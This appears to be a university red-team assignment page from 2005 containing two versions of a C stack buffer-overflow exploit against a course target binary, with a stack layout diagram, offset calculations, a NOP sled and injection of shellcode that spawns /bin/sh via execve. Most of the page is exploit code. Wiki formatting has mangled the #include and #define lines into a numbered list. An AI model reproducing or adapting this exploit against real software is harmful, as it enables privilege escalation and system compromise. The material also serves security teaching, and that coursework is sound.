                               // to pass data into execve. Note that this
                               // data will be allocated in the stack frame
                               // for the current routine (main).
 char *env[1];                 // environment array - terminate with null ptr.
                               // used to pass data into execve.  
                               // Same applies per above.
 char string[BUFFER];          // attack string, of size BUFFER, designed to 
                               // be larger than the receiving application
                               // can store.
 char *ptr = string;           // string will hold the attack code and other
                               // data (i.e. NOPs) to allow the payload to run
 long *addr_ptr = (long *) string;     // initially fill the payload area
                                       // (string) with the address to jump to
 int i;                        // loop counter (reusable)
 int rc;                       // execve return code
 extern int errno;             // global error number - used by execve


 long addrstart = get_sp();    // Get the current stack address, 
                               // using inline assembly call
 printf("Stack address at: 0x%x\n",addrstart);

// When run manually without get_sp to retrieve current stack pointer, // addresses were typically in the range of 0xbffffde0 for the start of the // NOP section. Offsets were generally +- 100 bytes from that address. // The stack starts at 0xbfffffa, which is the beginning of the 4GB virtual // memory area for this process.

 long addr = get_sp()-offset;  // address of buffer to jump to; from gdb dump
 printf("Stack pointer address offset: %x\n",offset);
 printf("Inserting payload starting at address: 0x%x\n",addr);

// Step 1. // Fill the string completely with the newly calculated return address ($ra). // When the buffer is overrun and the stack POPed to return to the calling // routine, this address will be retrieved and JuMPed to -- it will point into // the string area which will be prepended by NOPs and also contain the // shellcode.

 for ( i = 0; i < BUFFER; i+=4 )   // fill our attack string with desired $ra
 {
    *( addr_ptr++ ) = addr;
 }

// Step 2. // The string is now loaded with addresses of the attack string. Starting at // the beginning of that string overwrite half of the length of the string with // NOPs. Since we cannot be sure that the addresses in place (above) are // exactly accurate, the NOPs will pad the area so we don't miss the start of // the actual payload.

 for (i = 0; i < BUFFER/2; i++) {
    *( ptr++ ) = NOP;
 }
                               

// Step 3. // Insert the shellcode (45 bytes) which contains the actual attack. In this // case, it contains a compiled and loadable version of /bin/sh. When run, we // will have a shell with privileges if the target routine // (i.e. /tmp/target1) has those permissions set.

// printf("String length of shellcode is %i\n",strlen(shellcode));

 for ( i = 0; i < strlen( shellcode ); i++ )  {
    *( ptr++ ) = shellcode[i]; 
 }                             
 *(ptr++) = NUL;                       // null terminate the string
 

// Call framework for execve. // Note that this data will be written into the current stack frame near the // bottom (high memory), and will overwrite some of the addresses laid // down in Step 1.

 args[0] = TARGET;
 args[1] = string; 
 args[2] = NULL;                       
 env[0] = NULL;
 

// Invoke execve with parameter pointing to the target code to execute, and // the string containing the addresses, NOPs, and attack code (shellcode).

 rc = execve(TARGET, args, env);
 

// If return from execve failed, print Unix error message in human format.

 if ( rc < 0 ) {
   perror("Error in execve");          // Produce Unix text error codes
 }
 return 0;                             // Exit normal

Sunday's version of code -- latest

This is the most recent version of code. It still isn't running although tests in smaller variants work just fine. I'm trying to nail it down. All help welcome!

==

  1. include <stdio.h>
  2. include <stdlib.h>
  3. include <string.h>
  4. include <unistd.h>
  5. include <errno.h>
  6. include "shellcode.h"
  7. define TARGET "/home/cse291g10/sploits/ml/t2/t4"

// above is for debugging -- for normal use, use: // #define TARGET "/home/cse291g10/sploits/ml/target1"

  1. define BUFFER 87
  2. define DEFAULT_OFFSET 0x58
  3. define NUL 0x00
  4. define NOP 0x90

/* CSE P590TU - Group 10 - Red Team Project, 23 October 2005

               Steven Boray Huang (sbhuang@cs.ucsd.edu) - UCSD
               Vitaliy B. Zavesov (zavesov@yahoo.com) - UCSD
               Brenda Hernandez (brenn25@berkeley.edu) - UCB-Ugrad
               Lisa Valdez Josefina (jlvaldez@berkeley.edu) - UCB
               Marty Lyons (marty@cs.washington.edu) - UW
               Jessica Miller (jessica@cs.washington.edu) - UW
  • /

/* Pre-processor definitions

  TARGET : supplied target to execute.  target1 copies passed string param
           into a fixed size 64 character buffer.
  BUFFER : the size of the buffer we will fill.  Goal is to overrun the
           TARGET with enough room to run the shell contained in shellcode.h
  DEFAULT_OFFSET: number of bytes "backward" (increasing address) from current
           stack pointer ($esp).
  --------------------------------------------------------------------------
  From the assignment README:
  1. "Must therefore hard-code target stack locations in your exploits."
     (should not use function such as get_sp().
 
  2.  Exploit should not take any commend-line arguments.
  --------------------------------------------------------------------------
   IA-32 definitions
   $eip  : instruction pointer
   $esp  : stack pointer (SP)
   $ebp  : frame pointer (FP)/base pointer; points at previous frame
   $eax  : accumulator register
   $ra   : return address, the instruction pointer to be
           restored when a stack frame is recovered for execution
  --------------------------------------------------------------------------
   Layout of sploit1 calling target1
      Top of virtual memory: 0xbfffffa (4 Gb process space)
      
    ===+----------------------------------+===
       |    environment variables (env)   |
    ===+----------------------------------+=== FRAME BOUNDARY
                         .
                         .
                         .
    ===+----------------------------------+=== FRAME BOUNDARY
      | sploit1/main $ebp frame pointer  |  4 bytes
       +----------------------------------+
       | overhead - 56 bytes              | 56 bytes
       |       argc - 4 bytes             |
       |       argv - 4 bytes             |
       |       saved registers - 8 * 5(?) |
       +----------------------------------+
       | sploit1/main buffer              | 87 bytes
       +----------------------------------+
       | overhead - 56 bytes              + 56 bytes
       +----------------------------------+
  $esp | sploit1 $ra - return address     |  4 bytes
    ===+----------------------------------+=== FRAME BOUNDARY
       | target1/main $ebp frame pointer  |  4 bytes
       +----------------------------------+
       | overhead - 8 bytes               |  8 bytes
       |       argc - 4 bytes             |
       |       argv - 4 bytes             |
       |       saved registers - 0        |
       +----------------------------------+
       | target1/main buffer - 64 bytes   | 64 bytes
       +----------------------------------+
       | overhead - 28 bytes              | 28 bytes
       +----------------------------------+
  $esp | target1/main $ra - return address|  4 bytes
    ===+----------------------------------+=== FRAME BOUNDARY
       | target1/foo $ebp frame pointer   |  4 bytes
       +----------------------------------+
       | overhead -  8 bytes              |  8 bytes
       |       argc - 4 bytes             |
       |       argv - 4 bytes             |
       |       saved registers - 0        |
       +----------------------------------+
       | buffer - 0 bytes                 |  0 bytes
       +----------------------------------+
       | overhead - 24 bytes              | 24 bytes
       +----------------------------------+
  $esp | target1/foo $ra - return address |  4 bytes
    ===+----------------------------------+=== FRAME BOUNDARY

We compute the buffer needed to overrun target1's buffer as:

buffer: 64 overhead: 8 $ebp pointer: 4

TOTAL: 76 bytes (0x4c hex bytes)

To ensure we overwrite all portions, we round this to:

88 bytes (0x58 hex bytes)

Once the data is assembled and ready to be copied into target1/main's buffer, it must point from sploit1/main's $ra to the lower address of the beginning of the NOPs in target1/main's buffer address area.

We compute the offset by subtracting from sploit's current stack pointer the 88 bytes. By running sploit1 in gdb, and setting a breakpoint at the call to target1, we can get the $esp value. Since this will be the same on each run, we can subtract as:

    sploit1 $esp prior to call to target1

- 88 bytes (0x58 bytes hex)

This should then be set as the pointer address which will point back into target1's buffer, which has been padded in the beginning with NOPs.

To calculate the number of NOPs, we start with the length of the payload, at 45 bytes. This leaves:

88-45 = 31 bytes for other data. We reserve the last 32 bytes for the return address, to ensure we overwrite the return address. This leaves:

88-45-32 = 11 bytes, which we pad in front as NOPs.

So our final payload is:

NOP  : 0-10 (11 bytes) shellcode  : 11-55 (45 bytes) new $ra  : 56-87 (32 bytes)

  • /


// get_sp returns the current stack pointer address by moving it into the EAX // register. Although not supposed to use this per the README instructions, // we tried to use this routine to help isolate and debug the offset of the // buffer in target1, and to also allow for more advanced work once the initial // assignment was complete.

unsigned long get_sp(void) {

       __asm__("movl %esp, %eax");

}

// Based on "sploit1", use this routine to overrun a buffer in a IA32 // architecture system running Linux. string will be of length larger than // the receiving buffer in the target application will be able to store, // overunning the variable storage area, and also overwriting the // Frame Pointer ($ebp) as well as the Return Address ($ra).

int main() {

// Declarations

 int offset=DEFAULT_OFFSET;    // offset will be the number of bytes "backward"
                               // (increasing address) on the stack will will
                               // move from the current stack pointer ($esp)
 char *args[3];                // arguments  - terminate with null ptr.  used
                               // to pass data into execve. Note that this
                               // data will be allocated in the stack frame
                               // for the current routine (main).
 char *env[1];                 // environment array - terminate with null ptr.
                               // used to pass data into execve. 
                               // Same applies per above.
 char string[BUFFER];          // attack string, of size BUFFER, designed to
                               // be larger than the receiving application
                               // can store.
 char *ptr = string;           // string will hold the attack code and other
                               // data (i.e. NOPs) to allow the payload to run
 long *addr_ptr = (long *) string;     // initially fill the payload area
                                       // (string) with the address to jump to
 int i;                        // loop counter (reusable)
 int rc;                       // execve return code
 extern int errno;             // global error number - used by execve


 long addrstart = get_sp();    // Get the current stack address,
                               // using inline assembly call
 printf("Stack address at: 0x%x\n",addrstart);

// When run manually without get_sp to retrieve current stack pointer, // addresses were typically in the range of 0xbffffde0 for the start of the // NOP section. Offsets were generally +- 100 bytes from that address. // The stack starts at 0xbfffffa, which is the beginning of the 4GB virtual // memory area for this process.

 long addr = get_sp()-offset;  // address of buffer to jump to; from gdb dump
 // long addr = 0xbffff940-offset;
 printf("Stack pointer address offset: 0x%x\n",offset);
 printf("Return address set to payload starting at address: 0x%x\n",addr);

// Step 1. // Fill the string completely with the newly calculated return address ($ra). // When the buffer is overrun and the stack POPed to return to the calling // routine, this address will be retrieved and JuMPed to -- it will point into // the string area which will be prepended by NOPs and also contain the // shellcode.

 for ( i = 0; i < BUFFER; i+=4 )   // fill our attack string with desired $ra
 {
    *( addr_ptr++ ) = addr;
 }

// Step 2. // The string is now loaded with addresses of the attack string. Starting at // the beginning of that string overwrite half of the length of the string with // NOPs. Since we cannot be sure that the addresses in place (above) are // exactly accurate, the NOPs will pad the area so we don't miss the start of // the actual payload.

// 11 NOPs

 for (i = 0; i < 11; i++) {
    *( ptr++ ) = NOP;
 }

// Step 3. // Insert the shellcode (45 bytes) which contains the actual attack. In this // case, it contains a compiled and loadable version of /bin/sh. When run, we // will have a shell with privileges if the target routine // (i.e. /tmp/target1) has those permissions set.

// Running total: 15 NOPs + 45 shellcode = 60 bytes used in buffer // printf("String length of shellcode is %i\n",strlen(shellcode));

 for ( i = 0; i < strlen( shellcode ); i++ )  {
    *( ptr++ ) = shellcode[i];
 }
*(ptr++) = NUL;                       // null terminate the string

// Call framework for execve. // Note that this data will be written into the current stack frame near the // bottom (high memory), and will overwrite some of the addresses laid // down in Step 1.

 args[0] = TARGET;            
 args[1] = string;            
 args[2] = NULL;
 env[0] = NULL;

// Invoke execve with parameter pointing to the target code to execute, and // the string containing the addresses, NOPs, and attack code (shellcode).

 rc = execve(TARGET, args, env);

// If return from execve failed, print Unix error message in human format.

 if ( rc < 0 ) {
   perror("Error in execve");          // Produce Unix text error codes
 }
 return 0;                             // Exit normal

}